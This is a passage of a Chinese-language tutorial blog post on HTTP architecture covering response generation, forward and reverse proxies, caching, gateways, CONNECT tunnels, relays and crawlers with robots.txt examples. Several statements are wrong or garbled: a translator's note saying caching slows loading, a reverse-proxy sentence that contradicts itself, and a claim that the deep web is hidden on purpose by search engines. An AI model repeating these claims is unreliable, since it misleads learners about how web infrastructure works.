服务器还可以将请求(报文)中的URI映射到动态资源上, 这些动态资源是由应用程序生成的。有一类服务器叫做应用程序服务器, 其功能就是管理动态资源, 它还能给Web服务器提供复杂的软件解决方案。

阶段 4:生成及发送响应

一旦服务器确定了需要所请求的资源, 它就会生成响应报文, 报文中包含状态码、响应首部字段, 若请求(报文)中需要的话还应有响应主体。

如果存在响应主体, 那么该响应报文通常包含Content-Length和Content-Type两个首部字段——Content-Length描述主体大小, Content-Type描述返回资源的MIME类型。

生成响应(报文)后, 服务器选择需要发送响应的客户端。对于非持久性(长期)连接, 服务器需要在发送整个响应消息后关闭连接。

阶段 5:记录事务

服务器在事务完成后将记录文件中的所有事务信息, 大部分的服务器都采用自定义的方式记录日志。

代理服务器

代理服务器 (代理) 是的中间服务器, 通常位于Web服务器和Web客户端之间, 因其性质, 代理服务器需要兼并Web客户端和Web服务器的功能。

不过, 为什么要用代理服务器呢?为什么不直接用Web客户端和Web服务器进行通信?这难道不是更加简单快速吗?

当然, (直接利用Web客户端和Web服务器)操作起来是很简单, 不过说到速度快, 那就未必了。接下来, 我们会了解原因的。

在解释什么是代理服务器之前, 我们先要搬开一块大石头, 那就是反向代理服务器(reverse proxy)的概念。 换句话来说就是知道 正向代理(forward proxy)反向代理( reverse proxy)有什么区别。

正向代理负责向Web服务器请求资源, 并将资源返回到客户端。除此之外, 正向代理还能通过防火墙过滤请求或隐藏客户端信息来维护客户端的安全。而反向代理的工作方式(与正向代理)完全相反, 它通常位于防火墙之后来保护 Web 服务器。所有客户端已知其通信对象是实际的Web服务器, 但却了解反向代理背后的(Web服务器所处的)网络。

代理服务器

反向代理服务器


代理(服务器)非常有用并且应用十分广泛。接下来, 让我们来了解一下代理服务器的功能。

  • 压缩(Compression) —— 就是简单地利用压缩内容的方式加快通信速度。
  • 监控(Monitoring)和过滤(filtering) —— 用代理服务器(进行监控和过滤)不失为一个阻止小学生访问成人网站好方法。🙂
  • 安全(Security) —— 代理(服务器)可以作为整个网络的一个独立的入口点, 它们能够检测恶意软件和对应用层协议设限。
  • 匿名性(Anonymity) —— 代理可以修改请求(报文)以提高匿名性, 它可以从请求中剥离敏感信息, 只留下重要的东西。尽管向服务器发送较少的信息会降低用户体验,
    但是有时侯, 匿名性(比用户体验)更重要。
  • 访问控制(Access control) —— 若要实现对多个服务器的访问控制, 集中管理单个代理服务器即可。
  • 缓存(Caching) —— 使用代理服务器缓存常用的内容, 会大大降低加载速度。注:这里的加载速度按照我自己的理解, 应该是如果存在缓存的话,
    服务器需要先去加载缓存中的内容, 这会降低加载的速度
  • 负载均衡(Load balancing) —— 如果服务达到性能的临界点, 你可以使用负载均衡器——负载均衡器是一种可均衡分配路由通信量的代理, 可避免在服务性能达到临界点时导致单个服务器超负荷——分配在资源或Web服务器中的负载。
  • 转码(Transcoding) —— 代理服务器有修改报文主体的功能。

综上所述, 代理(服务器)有功能多样且可灵活使用的特点。

缓存

Web 缓存(系统)是一种可以自动复制请求报文数据并将其保存到本地存储中的设备。

Web缓存的优点:

  • 减少通信量
  • 消除网络瓶颈
  • 防止服务器草符合
  • 降低长距离造成的响应延迟

因此, 可以直白地说, Web缓存改善了用户体验和服务器性能。当然, 还有可能省了很多钱。

命中率的范围由0至1, 其中0表示缓冲提供所请求的0%资源 ,而1表示缓冲提供所请求的100%资源。命中率最理想的状态当然是达到100%, 但是, 实际命中率通常只能接近40%。

下面是基本的Web缓存的工作流程:

网关、隧道、中继代理

随着HTTP(越来越)成熟, 不同的HTTP协议使用方法不断涌现出来。这就促使, HTTP——连接不同应用程序和协议的框架——变得非常有用。

接下来, 就让我们来看看HTTP是怎么做到如此有用的。

网关

网关是一种(网络)硬件,它能够通过抽象方法使 HTTP协议与不同协议和不同应用程序进行通信, 从而获得资源。网关也被称为协议转换器, 由于(具有)多个协议的应用, 所以它比路由器或交换机复杂得多。

下面是网关利用转换协议工作的实例:使用网关发送HTTP请求可以接收到FTP(File Transfer Protocol, 文件传输协议)文件; 使用客户端加速安全网关可以接收到SSL(Secure Sockets Layer, 安全套接层)加密后转换成HTTP协议的报文; 使用服务器端安全网关可以将HTTP报文转换成更安全的HTTPs报文(Hypertext Transfer Protocol Secure, 超文本传输安全协议);

隧道

隧道(协议)是利用CONNECT请求方法实现的, 该协议能够通过HTTP协议发送非HTTP的数据。CONNECT是一个(客户端)要求代理连接目标服务器的请求方法, 并且在客户端和服务器之间中转数据。

注:上面这句话简单理解就是, 隧道协议不用HTTP解析数据, 对数据不做任何处理, 只将数据直接中转给目标服务器。

CONNECT请求:

1
2
3
CONNECT api.github.com:443 HTTP/1.0
User-Agent: Chrome/58.0.3029.110
Accept: text/html,application/xhtml+xml,application/xml

CONNECT响应:

1
2
HTTP/1.0 200 Connection Established
Proxy-agent: Netscape-Proxy/1.1

与常规的HTTP响应(报文)不同, CONNECT响应不需要特别说明Content-Type字段。

一旦(隧道)建立了连接,客户端和服务器就可以直接进行通信。

中继代理

中继(服务器)在HTTP世界中充当着坏人的角色, 他们不受HTTP的律法束缚。实际上, 中继(服务器)是代理的简化版本, 只要它们能够建立连接——仅需请求报文中极少信息量——那么就可以中转所有接收到的信息。

中继存在的唯一的理由就是, (在某些情况下)需要一个尽可能少惹麻烦的代理。不过, 使用中继也可能带来麻烦。因此中继是应用在特定场景下, 所以在添加中继(服务器)之前, 一定要先考虑添加之后的损益比。

网络爬虫


当然, 通常都称呼它为网络蜘蛛(spiders), 它是一种网络机器人, 用于自动浏览万维网和编纂网络索引。因此,对于搜索引擎和大部分来说, 网络爬虫是必不可少的工具。

网络爬虫是一个全自动化的软件, 不需要人机交互。网络爬虫的复杂度差异会很大, 一些网络爬虫就非常复杂(比如搜索引擎用的爬虫)。

网络爬虫会消耗所访问的网站的资源。因此, 公开的网站有一个机制去告知爬虫:网站哪些内容可被抓取, 或禁止爬虫抓取任何数据。你可以通过robots.txtRobots Exclusion Protocol, 漫游器排除协议)去实现这个机制。

毫无疑问, robots.txt不能阻止那些不请自来的网络爬虫抓取网站, 因为它只是一个标准。也就是说, robots.txt只能防君子不能防小人。

下面是robots.txt书写方式的举例:

1
2
User-agent: *
Disallow: /

含义:禁止所有爬虫访问网站的任何部分。

1
2
3
4
User-agent: *
Disallow: /somefolder/
Disallow: /notinterestingstuff/
Disallow: /directory/file.html

含义:仅禁止访问两个特定的目录和文件。

1
2
User-agent: Googlebot
Disallow: /private/

含义:在特定情况下, 禁止指定的爬虫访问。

不过, 鉴于万维网的庞大, 即使是有史以来最强大的爬虫, 也无法抓取整个网络的资源并编纂整个网络的索引。这就是爬虫使用选择策略(selection policy)抓取关联性最大的部分的原因。此外, 万维网经常发生动态变化, 因此爬虫必须用重新访问策略(freshness policy )去计算它们是否能再次访问网站。并且, 爬虫轻松覆盖整个服务器的资源时, 会采取发送过于快速和繁多的请求的举措, 因此爬虫会采取平衡礼貌策略(politeness policy)避免造成服务器不能正常使用。已知的大部分爬虫, 以低至20秒高至3-4分钟的时间间隔对服务器进行轮询, 避免使服务器上超载。

注:重新访问策略其实就是为了避免资源过期, 爬虫进行确认的一个机制。

你可能听说过神秘又邪恶的深网或暗网。但是, 深网(暗网)只是网络的一部分, 搜索引擎为了将(其中的)信息藏起来故意不把它们编入索引。

总结

这个链接是HTTP系列的目录及简介。相信你现在脑海中对HTTP工作流程已经有了更加清晰的概念, 学到了比(原本的)请求、响应、状态码更多的知识正是不同的软硬件结合的整体架构, 才让作为应用层协议的HTTP能够发挥出它的潜能。

我在这篇文章谈到的每个概念都很庞大, 大到足以用一篇文章甚至一本书来细细讲述。不过, 我只是想大概介绍一下概念, 这样你们就知道这些概念是如何搭配使用的, 方便你们之后查找相关内容。

如果在阅读的过程中, 你发现有些内容解释得过于简短和不清晰并且没有看过我之前的文章, 你可以阅读这篇文章的第一部分HTTP指南, 在这两篇文章中都有关于HTTP基本概念的概述。

感谢你阅读本文, 敬请关注HTTP系列的第三部分, 我在这篇文章中讲述了服务器是如何识别客户端的。